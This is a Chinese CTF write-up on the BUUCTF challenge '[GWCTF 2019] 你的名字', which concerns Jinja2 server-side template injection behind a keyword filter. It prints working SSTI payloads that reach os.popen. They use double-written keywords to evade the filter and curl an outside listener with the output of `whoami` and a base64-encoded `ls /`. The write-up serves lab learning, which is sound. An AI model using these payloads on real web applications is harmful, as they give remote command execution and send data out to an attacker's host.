BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习

目录:

    • 一、自己做:
    • 二、学到的&&不足:
    • 三、学习WP:

参考:https://www.cnblogs.com/karsa/p/13523730.html

一、自己做:

抓包没啥,除非要扫目录,
BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第1张图片啊,,就是直接返回的逻辑,,xss也是直接返回,也就说明有某些机制了,然后想去闭合一些标签,但是都没成功,

,,这些,

BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第2张图片
感觉没思路了,,扫扫目录把。

别了,想到了ssti,试了一下:{{2*2}},报错了

Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13

而且,还不能处理中文??啊手动阀
在这里插入图片描述
一个{不报错,{{两个就报错,这是为什么,,,可能是PHP中输出变量用了{}来包裹起来了??

BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第3张图片
这样,突破点想不到,那就想想有什么危害把,

BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第4张图片

看WP把。。啊,,这个题是真的狗,,,

二、学到的&&不足:

三、学习WP:

啊,,WP说是SSTI注入,但是过滤了{{。。吐了要用{%。但是这里的报错是PHP的报错呀,,

作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。

测试发现{{会被过滤,然后就看bypass的payload,,,low的很,找前辈们写的SSTI绕过,看这个。

直接用文章中payload打:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl https://qwert.free.beeceptor.com/?i=`whoami`').read()=='p' %}1{% endif %}

报错了,可能时有什么过滤,
BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第5张图片
然后爆破fuzz或者手动测试。

发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想

os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen

payload:

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}

注意,这里有几个点:

1. 所有被过滤的关键词都要进行相应替换
2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录。
4. ls / |base64  要用反引号括起来,

监听靶机
BUUCTF:[GWCTF 2019]你的名字 --- ssti -- bypass 学习_第6张图片
解码后是这个,

app
bin
boot
dev
etc
flag_1s_Hera
home
lib
lib64
media
mn

然后换一下命令就好了

你可能感兴趣的:(ssti)